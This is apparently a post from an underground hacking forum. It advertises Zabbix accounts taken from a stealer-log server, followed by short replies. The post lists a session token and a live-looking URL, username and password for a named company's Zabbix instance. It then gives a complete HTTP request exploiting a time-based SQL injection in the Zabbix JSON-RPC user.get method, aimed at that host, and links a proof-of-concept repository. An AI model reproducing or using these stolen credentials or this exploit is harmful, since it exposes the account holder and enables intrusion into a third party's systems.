[tcpfuck]

Zabbix accounts that coming on my stealer log server today. All is active

Example: 

[+] Session token: 828ab805c61ade49415ea4e57829a288

https://zabbix.infowaycloud.com.br miguel.castellain S@nta799

Hidden Content

You must register or login to view this content.

Here is Exploit Request:

POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.infowaycloud.com.br
User-Agent: curl/8.11.0
Accept: */*
Content-Type: application/json
Content-Length: 222
Connection: keep-alive

{
  "jsonrpc": "2.0",
  "method": "user.get",
  "params": {
    "selectRole": ["roleid", "name", "type", "readonly AND (SELECT(SLEEP(5)))"],
    "userids": ["1","2"]
  },
  "id": 1,
  "auth": ""
}

Github repository of POC;

https://github.com/compr00t/CVE-2024-42327

[T0Manx00]

goood brooooooooooooo

[FrankAbagnale]

Thanks for this

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: 6.1) Drug Sales, Weapon Sales, and "Violence-as-a-service" are not allowed.

[Psimaster3000]

Hope to discover something new here...